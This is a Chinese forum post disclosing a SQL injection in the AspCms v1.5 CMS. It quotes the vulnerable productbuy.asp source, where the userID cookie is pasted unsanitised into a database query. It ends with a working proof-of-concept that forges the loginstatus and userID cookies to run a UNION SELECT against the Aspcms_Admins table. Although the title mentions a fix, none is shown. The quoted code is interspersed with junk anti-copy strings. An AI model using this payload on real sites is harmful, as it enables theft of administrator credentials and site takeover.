AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
- v8 ^- i6 T" s也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：

<%

9 [2 R9 t+ u- b% k2 _$ R# n! Fif action = "buy" then
0 y0 d  F; O7 q3 q
: o' T$ f1 |# ]% I" b        addOrder()
4 u, C6 G% d: |7 z4 S8 P
else

        echoContent()

: ?4 D5 x$ p; p8 D2 B% Dend if
) \. \& B0 `$ B* e! |) W


……略过
* I" T5 I9 t# W
, |8 N  g; G; R" Z9 G2 `9 @

Sub echoContent()

. o( a( V# L* \) V        dim id
/ B# k; [, X, Y
; H8 `  G. x! M( u        id=getForm("id","get")

+ m9 v7 R- l9 c7 }, e, l) v8 r        

        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

3 j$ s7 W# s+ {- n1 L/ U; n" _        
6 ]! N, N7 w4 S' X. A
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

# E; A! k" ]6 N, i7 m2 z9 b# C        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
1 w& ]5 ]0 F5 q+ D- S$ [
        Dim templatePath,tempStr

) z! m/ y6 P" t+ i3 J        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"



        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

        selectproduct=rsObj(0)
# d9 E6 `/ d/ ~& R" n$ |: t
        

" @3 f1 W$ x3 n1 f        Dim linkman,gender,phone,mobile,email,qq,address,postcode

        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

        if rCookie("loginstatus")=1 then  

                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

; f% |9 u* a. w$ l4 t                linkman=rsObj("truename")
$ ^( b9 e( O0 b' o6 I" \- K6 P
                gender=rsObj("gender")
# X# X0 F! t5 [* d; Z# D6 X6 b6 I  p
                phone=rsObj("phone")

5 v7 z# ~) G& g                mobile=rsObj("mobile")

                email=rsObj("email")

4 f9 J- H- H( T/ G6 R. F# K                qq=rsObj("qq")

                address=rsObj("address")

1 k# x7 \2 ?- ?4 u* w- \4 Q$ O% B                postcode=rsObj("postcode")

        else

                gender=1
; ]% S. s# Q5 Y; A
        end if

        rsObj.close()
: ^7 s8 u/ b2 _$ Z# y
               

* j* J- G$ z  H- ]$ a3 _  @  O% z9 H        with templateObj
3 u7 U; s. ?5 f/ r5 `9 J4 M
) z" r: }7 o+ h' y                .content=loadFile(templatePath)        
9 z4 `0 ]' \- \- {. h  w9 I
0 o' K& }; ^2 z* N) ]                .parseHtml()

                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
2 H% ], o6 d7 {* @; ^) h
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

                .content=replaceStr(.content,"[aspcms:gender]",gender)               
! l8 [9 j2 d& u1 d& S
                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
  B. P& M" Q3 E
5 _# v" i/ [2 u+ l8 w% z7 w                .content=replaceStr(.content,"[aspcms:email]",email)                        

, v1 x3 @( ^" U& b                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

' H! U0 b( E5 X. K6 m                .content=replaceStr(.content,"[aspcms:address]",address)                        
  l( k7 b- M. x( _7 G$ @( ?
9 C4 K/ ~3 [$ j2 l. d1 l1 f3 I                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

2 W5 a$ z9 k: M$ ^- ~                .parseCommon()                 

3 m# m0 t, }7 e                echo .content

        end with

8 }) n0 w; Y( ?7 v) H6 g        set templateobj =nothing : terminateAllObjects
/ y* o8 h/ f6 Z# L: _
- Z! i& @6 h/ }# S3 wEnd Sub
6 O3 s  `6 ~5 H5 d漏洞很明显，没啥好说的
; {; g" d5 a5 e1 o% U* }  Cpoc：
1 B- h) O; M1 z$ ~9 f! S% }5 t
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
# p/ F# c5 Y; S# ]; h7 N
) K9 v7 N1 t5 h: s